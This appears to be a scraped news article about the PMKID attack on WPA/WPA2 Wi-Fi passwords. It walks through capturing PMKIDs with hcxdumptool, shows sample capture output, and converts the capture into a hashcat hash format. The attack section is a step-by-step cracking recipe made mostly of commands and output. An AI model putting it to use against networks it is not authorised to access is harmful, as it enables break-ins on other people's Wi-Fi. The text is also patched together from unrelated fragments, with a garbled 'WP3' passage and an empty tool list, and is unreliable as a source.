![]() Mar 20, 2018 - While WEP networks are easy to crack, most easy techniques to crack WPA and WPA2 encrypted Wi-Fi rely on the password being bad. As a replacement, most wireless access points now use Wi-Fi Protected Access II with a pre-shared key for wireless security, known as WPA2-PSK. WPA2 uses a stronger encryption algorithm, AES, that’s very difficult to crack—but not impossible. New WP3 Security Standard released by Wi-Fi Alliance that provides Next-generation Wi-Fi Security with new capabilities to enhance both personal and enterprise networks and the new WP3 security standard that is a successor of. Researcher finds this attack to compromise the WPA/WPA2 password without performing EAPOL 4-way handshake. According to who is the developer of password cracking tool, The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame. Also, this attack work Against all type of 802.11i/p/q/r networks with roaming functions enabled and it’s unclear how many vendors and how many routers this technique will work. We've developed a new attack on WPA/WPA2. There's no more complete 4-way handshake recording required. Here's all details and tools you need: — hashcat (@hashcat) How Does this WPA/WPA2 WiFi Password Attack Works Robust Security Network Information Element (RSN IE) is an optional one in 802.11 management frames and its working in a single EAPOL frame. Pairwise Master Key ID (PMKID) can be captured from RSN IE whenever the user tries to authenticate with the router. “Here we can see that the PMKID has been captured is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.” In order to make use of this new attack you need the following tools: • • • Step 1 First Run hcxdumptool to gain the PMKID from the AP and dump the file in PCAP format using following code. $./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 –enable_status The output looks like this: start capturing (stop with ctrl+c) INTERFACE:: wlp39s0f3u4u5 FILTERLIST: 0 entries MAC CLIENT: 89acf0e761f4 (client) MAC ACCESS POINT: 4604ba734d4e (start NIC) EAPOL TIMEOUT: 20000 DEAUTHENTICATIONINTERVALL: 10 beacons GIVE UP DEAUTHENTICATIONS: 20 tries REPLAYCOUNTER: 62083 ANONCE.: 9ddca6305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69 Step 2 Run next tool called hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat using following code. $./hcxpcaptool -z test.16800 test.pcapng The content of the written file will look like this and it split into 4 columns. PMKID * MAC AP * MAC Station * ESSID 2582a8281bf9d4308d6f5731d0eba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a Also, Researcher recommends that, While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.
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